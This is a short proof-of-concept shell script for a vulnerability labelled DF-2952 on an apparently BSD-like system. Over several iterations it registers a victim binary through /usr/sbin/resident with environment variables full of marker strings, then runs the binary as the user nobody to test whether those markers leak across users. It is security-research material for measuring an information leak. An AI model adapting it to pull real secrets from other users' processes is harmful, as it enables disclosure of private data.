DF-2952 / iter.sh
#!/bin/sh # DF-2952 PoC - iterative registration/leak cycles to measure determinism. # Usage: sh iter.sh <n> set -e DIR=/tmp/df2952 VICTIM=$DIR/victim N=${1:-5} sysctl kern.stackgap_random 2>/dev/null || true sysctl kern.sgrowsiz 2>/dev/null || true sysctl kern.maxssiz 2>/dev/null || true cc -O0 -o $VICTIM $DIR/victim.c || exit 9 i=0 while [ $i -lt $N ]; do i=$((i+1)) echo "===== ITERATION $i =====" /usr/sbin/resident -R >/dev/null 2>&1 || true sleep 0.2 DF2952_SECRET_00="$(printf 'DF2952MARKER_S00_%.0sA' $(seq 1 980) 2>/dev/null || echo DF2952MARKER_S00_AAAAAAAAAA)" \ DF2952_SECRET_01="$(printf 'DF2952MARKER_S01_%.0sB' $(seq 1 980) 2>/dev/null || echo DF2952MARKER_S01_BBBBBBBBBB)" \ DF2952_SECRET_02="$(printf 'DF2952MARKER_S02_%.0sC' $(seq 1 980) 2>/dev/null || echo DF2952MARKER_S02_CCCCCCCCCC)" \ DF2952_SECRET_03="$(printf 'DF2952MARKER_S03_%.0sD' $(seq 1 980) 2>/dev/null || echo DF2952MARKER_S03_DDDDDDDDDD)" \ DF2952_SECRET_04="$(printf 'DF2952MARKER_S04_%.0sE' $(seq 1 980) 2>/dev/null || echo DF2952MARKER_S04_EEEEEEEEEE)" \ DF2952_SECRET_05="$(printf 'DF2952MARKER_S05_%.0sF' $(seq 1 980) 2>/dev/null || echo DF2952MARKER_S05_FFFFFFFFFF)" \ DF2952_SECRET_06="$(printf 'DF2952MARKER_S06_%.0sG' $(seq 1 980) 2>/dev/null || echo DF2952MARKER_S06_GGGGGGGGGG)" \ DF2952_SECRET_07="$(printf 'DF2952MARKER_S07_%.0sH' $(seq 1 980) 2>/dev/null || echo DF2952MARKER_S07_HHHHHHHHHH)" \ /usr/sbin/resident -f $VICTIM || echo "register failed" su -m nobody -c "env -i $VICTIM leakcheck" || true done echo "===== DONE =====" |